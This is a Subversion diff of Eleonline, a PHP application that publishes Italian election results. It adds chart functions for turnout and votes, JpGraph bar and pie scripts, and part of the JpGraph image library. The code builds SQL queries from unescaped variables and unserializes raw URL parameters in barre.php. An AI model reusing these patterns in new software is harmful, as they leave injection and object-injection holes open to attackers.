+		if ($genere==0) echo "<h2> "._GRUPPO." $num_gruppo</h2>";
+		
+		
+		//if ((!$csv && $flash!=1 && $anim!=1) or ($tour==1 && $flash!=1 && $anim!=1)){ # rotazione x tour marzo 2009 a.l.
+		if ((!$csv && $flash!=1 || $anim!=1) and ($tour!=1)) { # rotazione x tour marzo 2009 a.l. 
+			echo "<br /><img alt=\"Grafico\"  src=\"modules/Elezioni/grafici/votanti_graf.php?cop=$copy&amp;titolo=$titolo2&amp;e=$perc_votanti&amp;f=$perc_non&amp;e1=$e1&amp;f1=$f1&amp;logo=$logo\" /><br /><br />";
+		}else{
+		// Flash affluenze 
+			$gruppos1=array("",_VOTANTI,_NONVOTANTI);
+			$pre1=array("",$perc_votanti,$perc_non);
+			flash_torta($gruppos1,$pre1,50,50); 
+		}
+		
+		if($csv)echo "</td><td>";else echo "</td></tr><tr><td style=\"text-align:center;\">"; # rotazione x tour marzo 2009 a.l.
+		echo "<h1>"._PERCE." "._VOTIE."</h1>";
+		if ($genere==0) echo " "._GRUPPO." $num_gruppo";
+		
+		if ((!$csv && $flash!=1 || $anim!=1) and ($tour!=1)){ # rotazione x tour marzo 2009 a.l.
+			echo "<br /><img  alt=\"Grafico\" src=\"modules/Elezioni/grafici/voti_graf.php?cop=$copy&amp;titolo=$titolo&amp;a=$perc_validi&amp;b=$perc_nulli&amp;c=$perc_bianchi&amp;d=$perc_conte&amp;a1=$a1&amp;b1=$b1&amp;c1=$c1&amp;d1=$d1&amp;logo=$logo\" /><br /><br />";
+		}else{
+			
+			$gruppos2=array("","Validi","Nulli", "Bianchi", "Contestati");
+			$pre2=array("",$perc_validi,$perc_nulli,$perc_bianchi,$perc_conte);
+			flash_torta($gruppos2,$pre2,50,50); 
+		}
+                
+		
+		
+		echo "</td></tr></table>";
+
+
+		}
+	}
+
+}
+
+/***********************************
+/* Grafica Gruppo
+/**********************************/
+
+function graf_gruppo(){
+global $admin, $bgcolor1, $bgcolor5, $prefix, $dbi, $offset, $min,$descr_cons,$genere,$votog,$votol,$votoc,$circo, $id_cons,$id_cons_gen,$id_comune,$id_circ,$tipo_cons,$w,$l,$op,$siteistat,$flash,$visgralista;
+if ($siteistat==$id_comune) $logo=$siteistat; else $logo=''; // logo per il  comune
+
+	if (!$id_circ and $circo){
+		$res_sez = mysql_query("SELECT id_circ from ".$prefix."_ele_circoscrizione where id_cons=$id_cons order by num_circ limit 0,1",$dbi);
+		list($id_circ)=mysql_fetch_row($res_sez);
+	}
+	$circond='';$circondt1='';
+	if ($genere!=0){$tab="ele_voti_gruppo";}else{$tab="ele_voti_ref";}
+	if ($genere==4 or $visgralista){$tab="ele_voti_lista";}
+	if ($votog){$tab="ele_voti_lista";}
+	$res = mysql_query("select *  from ".$prefix."_$tab where id_cons='$id_cons' group by id_sez ",$dbi);
+	if ($circo){
+		$res = mysql_query("select t1.*  from ".$prefix."_ele_voti_gruppo as t1, ".$prefix."_ele_gruppo as t2 where t1.id_gruppo=t2.id_gruppo and t1.id_cons='$id_cons' and t2.id_circ=$id_circ group by t1.id_sez ",$dbi);
+		$restotv = mysql_query("select sum(t1.voti)  from ".$prefix."_ele_voti_gruppo as t1, ".$prefix."_ele_gruppo as t2 where t1.id_gruppo=t2.id_gruppo and t1.id_cons='$id_cons' and t2.id_circ=$id_circ",$dbi);
+		$circond="and id_circ=$id_circ";$circondt1="and t1.id_circ=$id_circ";
+	}
+	if ($res) $numero=mysql_num_rows($res);else $numero=0;
+	$res = mysql_query("select t2.*  from ".$prefix."_ele_sezioni as t2, ".$prefix."_ele_sede as t1 where t2.id_cons='$id_cons' and t1.id_sede=t2.id_sede $circondt1",$dbi);
+	if ($res) $sezioni=mysql_num_rows($res);else $sezioni=0;
+
+#tolta, gestita globalmente in index.php
+/*	if ($circo){ // elenco per scelta circoscrizione
+		echo "<form id=\"test\" action=\"modules.php\"> <input type=\"hidden\" name=\"pagina\" value=\"modules.php?name=Elezioni&amp;op=$op&amp;id_cons_gen=$id_cons_gen&amp;id_comune=$id_comune&amp;id_circ=\">";
+		$res_sez = mysql_query("SELECT id_circ,descrizione,num_circ from ".$prefix."_ele_circoscrizione where id_cons=$id_cons",$dbi);
+		echo "<table><tr><td>Scegli la Circoscrizione: <select name=\"id_circ\" onChange=\"top.location.href=this.form.pagina.value+this.form.id_circ.options[this.form.id_circ.selectedIndex].value;return false\">";
+		while(list($id_rif,$descrizione,$num_cir)=mysql_fetch_row($res_sez)) {
+				if (!$id_circ) $id_circ=$id_rif;
+				$sel = ($id_rif == $id_circ) ? "selected" : "";
+				echo "<option value=\"$id_rif\" $sel>";
+				for ($j=strlen($num_cir);$j<2;$j++) { echo "&nbsp;&nbsp;";}
+				echo $num_cir.") ".$descrizione;
+			}
+			echo "</select></td></tr></table></form>";
+		
+	} 
+*/
+	if ($numero>0){
+		echo "<center><h2>";
+		echo "<b>"._PREFERENZE." "._GRUPPO." $descr_cons </b>";
+		echo "<i>- "._SEZSCRU." $numero "._SU." $sezioni </i>";
+		echo "</h2></center>";
+
+		if ($genere!=0){
+		// tot voti
+			if (!$circo) 
+				$restotv = mysql_query("select sum(voti)  from ".$prefix."_$tab where id_cons=$id_cons ",  $dbi);
+			if ($votog) 
+				$restotv = mysql_query("select sum(voti)  from ".$prefix."_ele_voti_lista where id_cons=$id_cons ",  $dbi);	
+			list($tot)  = mysql_fetch_row($restotv);
+			
+			$i=0;
+			// lista o gruppo
+			if ($genere!=4 and !$visgralista){
+			         
+				if ($votog){
+				
+				$res = mysql_query("select t1.id_gruppo, t1.num_gruppo, t1.descrizione, sum(t2.voti) as somma
+				from ".$prefix."_ele_gruppo as t1,
+				".$prefix."_ele_voti_lista as t2,
+				".$prefix."_ele_lista as t3
+        			where 	t1.id_cons='$id_cons'
+				and t2.id_lista=t3.id_lista
+				and t1.id_gruppo=t3.id_gruppo
+				group by t1.id_gruppo
+				order by somma desc", $dbi);$cosa='id_gruppo';
+				
+				}else{
+				
+			
+			        $res = mysql_query("select t1.id_gruppo, t1.num_gruppo, t1.descrizione, sum(t2.voti) as somma
+				from ".$prefix."_ele_gruppo as t1
+        			left join ".$prefix."_$tab as t2 on (t1.id_gruppo=t2.id_gruppo)
+				where 	t1.id_cons='$id_cons' and t1.id_cons=t2.id_cons $circondt1
+				group by t2.id_gruppo
+				order by somma desc", $dbi);$cosa='id_gruppo';
+			       }
+			
+			
+			}else{
+				$res = mysql_query("select t1.id_lista, t1.num_lista, t1.descrizione, sum(t2.voti) as somma
+				from ".$prefix."_ele_lista as t1
+        		left join ".$prefix."_$tab as t2 on (t1.id_lista=t2.id_lista)
+				where 	t1.id_cons='$id_cons' and t1.id_cons=t2.id_cons
+				group by t2.id_lista
+				order by somma desc", $dbi);$cosa='id_lista';
+			}
+
+		echo "<table>
+			<tr>
+				<td><br />
+					<table cellspacing=\"0\" cellpadding=\"2\" rules=\"cols\">";
+					// inizio tabella dati
+                			// variabili stampa flash
+					$e=0;
+					$gruppos[$e]="";
+					$pre[$e]="";
+					$e=1;
+					// fine 
+				$gruppinum=mysql_num_rows($res);
+				$altrivoti=0;
+				while (list($id,$num,$descrizione,$voti)  = mysql_fetch_row($res)){
+
+				
+				// verica chi ha preso meno del 3%
+			    $menotre=(number_format($voti*100/$tot,2));
+				
+			    if($menotre>3){ 
+				
+
+
+
+				// funz per il taglio corretto della frase 13 feb 2007
+				//$descrizione=taglio(4,$descrizione);
+				
+				$gruppo[$i]=(substr($descrizione,0,21));
+				$gruppos[$e]=(substr($descrizione,0,21)); //flash
+
+				
+
+				if (strlen($descrizione)>21) $gruppo[$i].="...";
+				if (strlen($descrizione)>21) $gruppos[$e].="...";
+				$pro[$i]=number_format($voti*100/$tot,3);
+				$pre[$e]=number_format($voti*100/$tot,3);// flash
+
+
+			     }else{
+				//somma i voti sotto il 3%
+				$altrivoti = $altrivoti + $voti;
+				
+			     }
+				
+					
+				
+
+
+
+				$prov=number_format($voti*100/$tot,3);
+				$votiv=number_format($voti,0,',','.');
+				// formattazione numeri perc
+				$prov=number_format($prov,2); // funzione
+
+
+			// sviluppo tabella dati
+				$bgcolor1= ($bgcolor1=="#cacaca") ? "#ffffff":"#cacaca";
+				echo "<tr valign=\"top\">
+				<td valign=\"top\"><b><img src=\"modules.php?name=Elezioni&amp;file=foto&amp;$cosa=$id\" class=\"stemmapic\" alt=\"\" /></b></td>
+			<td><b>$descrizione</b></td>
+			<td>"._VOTI."</td><td align=\"right\">$votiv</td><td align=\"right\"> <i>($prov%)</i></td>
+			</tr>";
+                       
+		        $e++; // flash
+			$i++;
+		}
+		// aggiunge altri minori al 3%
+		// esiste 
+		// corretto 15 aprile 2006
+				if ($altrivoti>0){
+					
+					$gruppo[]=_ALTRI;
+					$gruppos[]=_ALTRI;
+					$pro[]=number_format($altrivoti*100/$tot,3);
+					$pre[]=number_format($altrivoti*100/$tot,3);
+				}
+
+
+		if ($i<=10) $i=10;
+		$titolo=""._PERCE." "._VOTIE."";
+		$dati1=serialize($pro);
+		//$dati1=urlencode($dati1);
+		//$gruppo=utf8_encode($gruppo);
+		$dati2=serialize($gruppo);
+		$dati2=urlencode($dati2);
+		 
+		$titolo=urlencode($titolo);
+		if (isset($copy)) $copy=urlencode($copy); else $copy='';
+		$descr_cons=urlencode($descr_cons);
+		if ($genere==4){$w=700;$l=300;}else{$w=500;$l=180;}
+
+
+		echo "</table></td><td valign=\"top\"><br />";
+		# grafico statico
+		echo "<img  src='modules/Elezioni/grafici/barre.php?dati1=$dati1&amp;dati2=$dati2&amp;i=$i&amp;cop=$copy&amp;titolo=$titolo&amp;descr=$descr_cons&amp;l=$l&amp;w=$w&amp;logo=$logo'  alt=\"Grafico\" />";
+		
+		echo "</td></tr></table><table><tr><td>";
+		# grafico flash
+		if($flash=='1') flash_torta($gruppos,$pre,40,145);
+		echo "</td></tr></table>";
+                
+               
+	}else{
+		// tot voti
+		$res = mysql_query("
+		select sum(validi),id_gruppo  from ".$prefix."_$tab where id_cons=$id_cons group by id_gruppo",  $dbi);
+		while (list($tot,$id_gruppo)  = mysql_fetch_row($res)){
+
+			$s=0;
+			$res1 = mysql_query("select t1.id_gruppo, t1.num_gruppo, t1.descrizione, sum(t2.si),  sum(t2.no)
+			from ".$prefix."_ele_gruppo as t1
+        		left join ".$prefix."_$tab as t2 on (t1.id_gruppo=t2.id_gruppo)
+			where 	t1.id_cons='$id_cons' and t1.id_gruppo='$id_gruppo' 
+			group by t1.id_gruppo
+			", $dbi);
+			
+
+			while (list($id_gruppo,$num_gruppo,$descrizione,$si,$no)  = mysql_fetch_row($res1)){
+				if($tot){
+				$percsi=number_format($si*100/$tot,3);
+				$percno=number_format($no*100/$tot,3);
+				$percsi=number_format($percsi,2);
+				$percno=number_format($percno,2);
+				}else{ $percsi="0.00"; $percno="0.00";}
+             			$gruppo=array("si","no");
+				$gruppos=array("","si","no");// flash
+				$pro=array($percsi,$percno);
+				$pre=array("",$percsi,$percno);//flash
+//				echo "<br/><b><center>$descrizione</center><br/><br/>";
+				// sviluppo tabella dati
+				echo "<table><tr><td><table>"; // inizio tabella dati
+				echo "<tr><td bgcolor=\"$bgcolor1\">$num_gruppo - $descrizione</b></td></tr><tr></table>
+				<table><tr>
+				<td >"._SI."</td><td>$si</td>
+				<td >%</td><td>$percsi</td>
+				<td >"._NO."</td><td>$no</td>
+				<td >%</td><td>$percno</td><tr>
+				</table></td><td><center><br />";
+
+				$i=8; // parametro lunghezza tavola
+				$l=30; // larghezza label
+				$titolo="Numero ".$num_gruppo."";
+				$dati1=serialize($pro);
+				//$dati1=urlencode($dati1); //IE
+				$dati2=serialize($gruppo);
+				$dati2=urlencode($dati2);
+				$titolo=urlencode($titolo);
+				if (isset($copy)) $copy=urlencode($copy); else $copy='';
+				$descr=urlencode($descr_cons);
+				echo "<center><img src='modules/Elezioni/grafici/barre.php?dati1=$dati1&amp;dati2=$dati2&amp;i=$i&amp;cop=$copy&amp;titolo=$titolo&amp;descr=$descr&amp;l=$l&amp;w=$w&amp;logo=$logo' alt=\"Grafico\" /></center>";
+                                
+
+				if($flash=='1')flash_torta($gruppos,$pre,20,70); 
+				
+
+
+				
+                               
+				echo "</td></tr></table>"; // fine tabella dati
+				$s++;
+			}
+
+
+		}
+
+
+
+	  }
+
+	}
+
+
+}
+
+
+
+
+/***********************************
+/* Grafica Candidato
+/**********************************/
+
+function graf_candidato(){
+global $bgcolor1, $bgcolor5,$bgcolor5, $prefix, $dbi, $offset, $min,$descr_cons, $id_cons,$tipo_cons,$copy,$id_comune,$id_istat,$genere,$votog,$votol,$votoc,$circo,$siteistat;
+if ($siteistat==$id_comune) $logo='1'; else $logo=''; // logo per il  comune
+	
+
+		$tab="ele_voti_candidati";
+
+		$res = mysql_query("select *  from ".$prefix."_ele_voti_candidati where id_cons='$id_cons' group by id_sez ",$dbi);
+		$numero=mysql_num_rows($res);
+		$res = mysql_query("select *  from ".$prefix."_ele_sezioni where id_cons='$id_cons'",$dbi);
+		$sezioni=mysql_num_rows($res);
+		if ($numero!=0){
+		echo "<table  border=\"0\"  align=\"center\"><tr><td>";
+			echo "<h5>"._PREFERENZE." "._CONSI." $descr_cons </h5>";
+			echo "<h5>"._SEZSCRU." $numero "._SU." $sezioni </h5>
+			<h5>I 30 piu' votati</h5>";
+			echo "</td></tr></table>";
+			// tot voti
+			$res = mysql_query("
+			select sum(voti)  from ".$prefix."_ele_voti_candidati where id_cons=$id_cons ",  $dbi);
+			list($tot)  = mysql_fetch_row($res);
+			
+			// gruppi o liste per simbolo
+
+			if ($genere==4){
+				$scelta="_ele_lista as t3 on (t1.id_lista=t3.id_lista)";
+			}else{
+				$scelta="_ele_lista as t3 on (t1.id_lista=t3.id_lista)";
+			}
+			$i=0;
+			$res = mysql_query("select t1.id_lista,  t1.id_cand, t1.nome , t1.cognome, sum(t2.voti) as somma
+				from ".$prefix."_ele_candidati as t1
+        		left join ".$prefix."_ele_voti_candidati as t2 on (t1.id_cand=t2.id_cand)
+				left join ".$prefix.$scelta."
+				where t1.id_cons='$id_cons'
+				group by t2.id_cand
+				 
+				order by somma desc
+				
+				", $dbi);
+			$n_candi=mysql_num_rows($res);
+			echo "<table><tr><td><table>"; // inizio tabella dati
+			while (list($id_lista,$id_cand,$nome,$cognome,$voti)  = mysql_fetch_row($res)){
+             			$candidato[$i]=$cognome;
+				$pro[$i]=number_format($voti*100/$tot,2);
+				// sviluppo tabella dati
+				$e=$i+1;
+				
+				echo "<tr><td>[$e]</td><td><b><img alt=\"$nome $cognome\" src=\"modules.php?name=Elezioni&amp;file=foto&amp;id_lista=$id_lista\" align=\"middle\" width=\"30\"></b></td>
+                		<td bgcolor=\"$bgcolor1\"><b>$nome $cognome</b></td>
+				<td bgcolor=\"$bgcolor1\">"._VOTI."</td><td>$voti</td>
+				<td bgcolor=\"$bgcolor1\">%</td><td>$pro[$i]</td></tr>";
+				
+				if ($e=='30' || $e==$n_candi){ 
+					
+					
+					
+					echo "</table></td></tr></table>"; // fine tabella dati
+					
+					include("footer.php");
+					exit;
+				}
+
+				
+
+				$i++;
+			
+			
+			
+			
+			}
+          
+        }
+
+}
+
+function flash_torta($gruppos,$pre,$y,$x){
+//if (!defined('FLASH')) die();
+
+// inizio grafico torta flash
+		
+               
+                
+		$chart[ 'chart_data' ] = array ($gruppos, $pre);
+		//$chart[ 'chart_data' ] = array ( array ("","Ciao", "Bella"), array ( "",40, 60));
+		$chart[ 'chart_grid_h' ] = array ( 'thickness'=>0 );
+		$chart[ 'chart_pref' ] = array ( 'rotation_x'=>60 ); 
+		$chart[ 'chart_rect' ] = array ( 'x'=>$x, 'y'=>$y, 'width'=>350, 'height'=>200, 'positive_alpha'=>0 );
+		$chart[ 'chart_transition' ] = array ( 'type'=>"spin", 'delay'=>.5, 'duration'=>.75, 'order'=>"category" );
+		$chart[ 'chart_type' ] = "3d pie";
+		$chart[ 'chart_value' ] = array ( 'color'=>"000000", 'alpha'=>150, 'font'=>"arial", 'bold'=>true, 'size'=>10, 'position'=>"inside", 'prefix'=>"", 'suffix'=>"", 'decimals'=>2, 'separator'=>"", 'as_percentage'=>true );
+
+		$chart[ 'draw' ] = array ( array ( 'type'=>"text", 'color'=>"000000", 'alpha'=>4, 'size'=>40, 'x'=>50, 'y'=>260, 'width'=>500, 'height'=>50, 'text'=>"56789012345678901234", 'h_align'=>"center", 'v_align'=>"middle" )) ;
+
+		$chart[ 'legend_label' ] = array ( 'layout'=>"horizontal", 'bullet'=>"circle", 'font'=>"arial", 'bold'=>true, 'size'=>10, 'color'=>"000000", 'alpha'=>85 ); 
+		$chart[ 'legend_rect' ] = array ( 'x'=>0, 'y'=>45, 'width'=>50, 'height'=>210, 'margin'=>10, 'fill_color'=>"00ff00", 'fill_alpha'=>30, 'line_color'=>"000000", 'line_alpha'=>0, 'line_thickness'=>0 );  
+		$chart[ 'legend_transition' ] = array ( 'type'=>"dissolve", 'delay'=>0, 'duration'=>4 );
+
+		$chart[ 'series_color' ] = array ( "00ff88", "ffaa00","44aaff", "aa00ff" ); 
+		$chart[ 'series_explode' ] = array ( 25, 75, 0, 0 );
+		$fileout="";
+/////////////////////////////// MODIFICHE PER TOGLIERE FILETEMP
+//		$fileout=SendChartData ( $chart );
+		$xml=SendChartData ( $chart );
+		$max=isset($_SESSION['max']) ? $_SESSION['max']:0;
+		$max++;
+		$cur="xml$max";
+		$_SESSION[$cur]=$xml;
+		$_SESSION['max']=$max;
+		$fileout="modules.php?file=graf&pos=$cur";
+///////////////////////////////	
+		echo InsertChart ( "class/charts.swf", "class/charts_library","$fileout" );
+		
+		// Fine Grafico torta flash
+		echo "<noembed>Elemento non supportato!<br/>Grafico a torta</noembed>";
+  
+
+}
+
+
+
+
+
+
+
+?>
+
+
Index: /trunk/elezioni/trunk/client/modules/Elezioni/grafici/affluenze_graf.php
===================================================================
--- /trunk/elezioni/trunk/client/modules/Elezioni/grafici/affluenze_graf.php	(revision 44)
+++ /trunk/elezioni/trunk/client/modules/Elezioni/grafici/affluenze_graf.php	(revision 44)
@@ -0,0 +1,51 @@
+<?php
+
+/************************************************************************/
+/* Eleonline - Raccolta e diffusione dei dati elettorali                */
+/* by Luciano Apolito & Roberto Gigli                                   */
+/* http://www.eleonline.it                                              */
+/* info@eleonline.it  luciano@aniene.net rgigli@libero.it               */
+/************************************************************************/
+
+include ("jpgraph.php");
+include ("jpgraph_pie.php");
+if(file_exists(TTF_DIR))
+	define("CURFONT1",FF_DV_SANSSERIF);
+else 
+	define ("CURFONT1",FF_FONT1);
+
+
+$e=$_GET['e'];$f=$_GET['f'];$e1=$_GET['e1'];$f1=$_GET['f1'];
+$titolo=$_GET['titolo'];
+if (isset($_GET['cop'])) $cop=$_GET['cop'];else $cop='';
+if (isset($_GET['x'])) $dim_x=$_GET['x']; else $dim_x='300';
+if (isset($_GET['y'])) $dim_y=$_GET['y']; else $dim_y='200';
+$data = array($e,$f);
+$legend = array("$e $e1","$f $f1");
+$graph = new PieGraph($dim_x,$dim_y,"auto");
+$graph->SetShadow();
+
+$graph->title->Set($titolo);
+$graph->title->SetFont(CURFONT1,FS_BOLD);
+$graph ->legend->Pos( 0.02,0.85,"left" ,"center");
+$graph->SetBackgroundImage("../images/logo.jpg",BGIMG_COPY);
+// testo
+$txt =new Text("$cop");
+$txt->Pos( 2,180);
+$txt->SetColor( "black");
+$graph->AddText( $txt);
+
+
+
+$p1 = new PiePlot($data);
+$p1->value->SetFormat('');
+$p1->value->Show();
+$p1->SetLegends($legend);
+$p1->SetCenter(0.5,0.5);
+
+$graph->Add($p1);
+$graph->Stroke();
+
+?>
+
+
Index: /trunk/elezioni/trunk/client/modules/Elezioni/grafici/barre.php
===================================================================
--- /trunk/elezioni/trunk/client/modules/Elezioni/grafici/barre.php	(revision 44)
+++ /trunk/elezioni/trunk/client/modules/Elezioni/grafici/barre.php	(revision 44)
@@ -0,0 +1,138 @@
+<?php
+/************************************************************************/
+/* Eleonline - Raccolta e diffusione dei dati elettorali                */
+/* by Luciano Apolito & Roberto Gigli                                   */
+/* http://www.eleonline.it                                              */
+/* info@eleonline.it  luciano@aniene.net rgigli@libero.it               */
+/************************************************************************/
+
+include ("jpgraph.php");
+include ("jpgraph_bar.php");
+if(file_exists(TTF_DIR))
+	define("CURFONT1",FF_DV_SANSSERIF);
+else 
+	define ("CURFONT1",FF_FONT1);
+
+$dati1=$_GET['dati1'];$dati2=$_GET['dati2'];$i=$_GET['i'];$l=$_GET['l'];$w=$_GET['w'];
+$titolo=$_GET['titolo'];$descr=$_GET['descr'];$cop=$_GET['cop'];
+$logo=$_GET['logo'];
+$datay=unserialize(stripslashes($dati1)); // percentuali
+$datax=unserialize(stripslashes($dati2)); // candidati
+
+
+// $i= numero candidati
+// $larghezza label
+if (!isset($l)) $l=180;
+if (!isset($w)) $w=500;
+if ($l=='') $l=180;
+if ($w=='') $w=500;
+
+// Size of graph
+$width=$w;
+$height=$i*30;
+
+// Set the basic parameters of the graph
+$graph = new Graph($width,$height,'auto');
+$graph->SetScale("textlin");
+
+$top = 50;
+$bottom = 80;
+$left = $l;
+$right = 40;
+$graph->Set90AndMargin($left,$right,$top,$bottom);
+#if(isset($logo)) $graph->SetBackgroundImage("../images/".$logo.".png",BGIMG_COPY);
+#else 
+//$graph->SetBackgroundImage("../images/vuoto.jpg",BGIMG_COPY);
+// Nice shadow
+$graph->SetShadow();
+$graph->SetBackgroundGradient('white','yellow',GRAD_HOR,BGRAD_MARGIN);
+// Setup title
+$graph->title->Set("$titolo");
+$graph->title->SetFont(CURFONT1,FS_BOLD,10);
+$graph->subtitle->Set("$descr");
+
+// Setup X-axis
+$graph->xaxis->SetTickLabels($datax);
+$graph->xaxis->SetFont(CURFONT1,FS_BOLD,8);
+$graph->xaxis->SetColor("black","darkred");
+// Some extra margin looks nicer
+$graph->xaxis->SetLabelMargin(5);
+
+// Label align for X-axis
+$graph->xaxis->SetLabelAlign('right','center');
+
+// Add some grace to y-axis so the bars doesn't go
+// all the way to the end of the plot area
+$graph->yaxis->scale->SetGrace(20);
+
+// Setup the Y-axis to be displayed in the bottom of the
+// graph. We also finetune the exact layout of the title,
+// ticks and labels to make them look nice.
+$graph->yaxis->SetPos('max');
+
+// First make the labels look right
+$graph->yaxis->SetLabelAlign('center','top');
+$graph->yaxis->SetLabelFormat('%d');
+$graph->yaxis->SetLabelSide(SIDE_RIGHT);
+
+// The fix the tick marks
+$graph->yaxis->SetTickSide(SIDE_LEFT);
+
+// Finally setup the title
+$graph->yaxis->SetTitleSide(SIDE_RIGHT);
+$graph->yaxis->SetTitleMargin(35);
+
+// To align the title to the right use :
+$graph->yaxis->SetTitle("$cop",'high');
+$graph->yaxis->title->Align('right');
+$graph->yaxis->SetColor("black","darkred");
+// To center the title use :
+//$graph->yaxis->SetTitle('Turnaround 2002','center');
+//$graph->yaxis->title->Align('center');
+
+$graph->yaxis->title->SetFont(CURFONT1,FS_BOLD,12);
+$graph->yaxis->title->SetAngle(0);
+
+
+
+$graph->yaxis->SetFont(CURFONT1,FS_NORMAL); #era FF_FONT2
+// If you want the labels at an angle other than 0 or 90
+// you need to use TTF fonts
+//$graph->yaxis->SetLabelAngle(0);
+
+/*
+// testo
+$txt =new Text("$cop");
+$txt->Pos( 100,$i*29);
+$txt->SetColor( "red");
+$graph->AddText( $txt);
+*/
+
+
+
+
+
+
+
+
+// Now create a bar pot
+$bplot = new BarPlot($datay);
+$bplot->SetFillColor("orange");
+$bplot->SetShadow();
+
+//You can change the width of the bars if you like
+$bplot->SetWidth(0.1);
+
+// We want to display the value of each bar at the top
+$bplot->value->Show();
+$bplot->value->SetFont(CURFONT1,FS_BOLD,12);
+$bplot->value->SetAlign('left','center');
+$bplot->value->SetColor("black","darkred");
+$bplot->value->SetFormat("%.2f &#37;");
+
+// Add the bar to the graph
+$graph->Add($bplot);
+
+
+$graph->Stroke();
+?>
Index: /trunk/elezioni/trunk/client/modules/Elezioni/grafici/gd_image.inc.php
===================================================================
--- /trunk/elezioni/trunk/client/modules/Elezioni/grafici/gd_image.inc.php	(revision 44)
+++ /trunk/elezioni/trunk/client/modules/Elezioni/grafici/gd_image.inc.php	(revision 44)
@@ -0,0 +1,1619 @@
+<?php
+//=======================================================================
+// File:	GD_IMAGE.INC.PHP
+// Description:	PHP Graph Plotting library. Low level image drawing routines
+// Created: 	2001-01-08, refactored 2008-03-29
+// Ver:		$Id$
+//
+// Copyright (c) Aditus Consulting. All rights reserved.
+//========================================================================
+
+	
+//===================================================
+// CLASS Image
+// Description: Wrapper class with some goodies to form the
+// Interface to low level image drawing routines.
+//===================================================
+class Image {
+    public $left_margin=30,$right_margin=30,$top_margin=20,$bottom_margin=30;
+    public $img=null;
+    public $plotwidth=0,$plotheight=0;
+    public $width=0, $height=0;
+    public $rgb=null;
+    public $current_color,$current_color_name;
+    public $line_weight=1, $line_style=LINESTYLE_SOLID;	
+    public $img_format;
+    public $ttf=null;
+    protected $expired=true;
+    protected $lastx=0, $lasty=0;
+    protected $obs_list=array();
+    protected $font_size=12,$font_family=FF_FONT1, $font_style=FS_NORMAL;
+    protected $font_file='';
+    protected $text_halign="left",$text_valign="bottom";
+    protected $use_anti_aliasing=false;
+    protected $quality=null;
+    protected $colorstack=array(),$colorstackidx=0;
+    protected $canvascolor = 'white' ;
+    protected $langconv = null ;
+    protected $iInterlace=false;
+    //---------------
+    // CONSTRUCTOR
+    function Image($aWidth,$aHeight,$aFormat=DEFAULT_GFORMAT,$aSetAutoMargin=true) {
+	$this->CreateImgCanvas($aWidth,$aHeight);
+	if( $aSetAutoMargin )
+	    $this->SetAutoMargin();		
+
+	if( !$this->SetImgFormat($aFormat) ) {
+	    JpGraphError::RaiseL(25081,$aFormat);//("JpGraph: Selected graphic format is either not supported or unknown [$aFormat]");
+	}
+	$this->ttf = new TTF();
+	$this->langconv = new LanguageConv();
+    }
+
+    // Enable interlacing in images
+    function SetInterlace($aFlg=true) {
+	$this->iInterlace=$aFlg;
+    }
+
+    // Should we use anti-aliasing. Note: This really slows down graphics!
+    function SetAntiAliasing($aFlg=true) {
+	$this->use_anti_aliasing = $aFlg;
+	if( function_exists('imageantialias') ) {
+	    imageantialias($this->img,$aFlg);
+	}
+	else {
+	    JpGraphError::RaiseL(25128);//('The function imageantialias() is not available in your PHP installation. Use the GD version that comes with PHP and not the standalone version.')
+	}
+    }
+
+    function CreateRawCanvas($aWidth=0,$aHeight=0) {
+	if( $aWidth <= 1 || $aHeight <= 1 ) {
+	    JpGraphError::RaiseL(25082,$aWidth,$aHeight);//("Illegal sizes specified for width or height when creating an image, (width=$aWidth, height=$aHeight)");
+	}
+
+	if( USE_TRUECOLOR ) {
+	    $this->img = @imagecreatetruecolor($aWidth, $aHeight);
+	    if( $this->img < 1 ) {
+		JpGraphError::RaiseL(25126);
+		//die("Can't create truecolor image. Check that you really have GD2 library installed.");
+	    }
+	    $this->SetAlphaBlending();
+	} else {
+	    $this->img = @imagecreate($aWidth, $aHeight);	
+	    if( $this->img < 1 ) {
+		JpGraphError::RaiseL(25126);
+		//die("<b>JpGraph Error:</b> Can't create image. Check that you really have the GD library installed.");
+	    }
+	}
+
+	if( $this->iInterlace ) {
+	    imageinterlace($this->img,1);
+	}
+	if( $this->rgb != null ) 
+	    $this->rgb->img = $this->img ;
+	else
+	    $this->rgb = new RGB($this->img);				
+    }
+
+    function CloneCanvasH() {
+	$oldimage = $this->img;
+	$this->CreateRawCanvas($this->width,$this->height);
+	imagecopy($this->img,$oldimage,0,0,0,0,$this->width,$this->height);
+	return $oldimage;
+    }
+    
+    function CreateImgCanvas($aWidth=0,$aHeight=0) {
+
+	$old = array($this->img,$this->width,$this->height);
+	
+	$aWidth = round($aWidth);
+	$aHeight = round($aHeight);
+
+	$this->width=$aWidth;
+	$this->height=$aHeight;		
+
+	
+	if( $aWidth==0 || $aHeight==0 ) {
+	    // We will set the final size later. 
+	    // Note: The size must be specified before any other
+	    // img routines that stroke anything are called.
+	    $this->img = null;
+	    $this->rgb = null;
+	    return $old;
+	}
+	
+	$this->CreateRawCanvas($aWidth,$aHeight);
+	// Set canvas color (will also be the background color for a 
+	// a pallett image
+	$this->SetColor($this->canvascolor);	
+	$this->FilledRectangle(0,0,$aWidth,$aHeight);
+
+	return $old ;
+    }
+
+    function CopyCanvasH($aToHdl,$aFromHdl,$aToX,$aToY,$aFromX,$aFromY,$aWidth,$aHeight,$aw=-1,$ah=-1) {
+	if( $aw === -1 ) {
+	    $aw = $aWidth;
+	    $ah = $aHeight;
+	    $f = 'imagecopyresized';
+	}
+	else {
+	    $f = 'imagecopyresampled';
+	}
+	$f($aToHdl,$aFromHdl,$aToX,$aToY,$aFromX,$aFromY, $aWidth,$aHeight,$aw,$ah);
+    }
+
+    function Copy($fromImg,$toX,$toY,$fromX,$fromY,$toWidth,$toHeight,$fromWidth=-1,$fromHeight=-1) {
+	$this->CopyCanvasH($this->img,$fromImg,$toX,$toY,$fromX,$fromY,
+			   $toWidth,$toHeight,$fromWidth,$fromHeight);
+    }
+
+    function CopyMerge($fromImg,$toX,$toY,$fromX,$fromY,$toWidth,$toHeight,$fromWidth=-1,$fromHeight=-1,$aMix=100) {
+	if( $aMix == 100 ) {
+	    $this->CopyCanvasH($this->img,$fromImg,
+			       $toX,$toY,$fromX,$fromY,$toWidth,$toHeight,$fromWidth,$fromHeight);
+	}
+	else {
+	    if( ($fromWidth  != -1 && ($fromWidth != $toWidth))  ||
+		($fromHeight != -1 && ($fromHeight != $fromHeight)) ) {
+		// Create a new canvas that will hold the re-scaled original from image
+		if( $toWidth <= 1 || $toHeight <= 1 ) {
+		    JpGraphError::RaiseL(25083);//('Illegal image size when copying image. Size for copied to image is 1 pixel or less.');
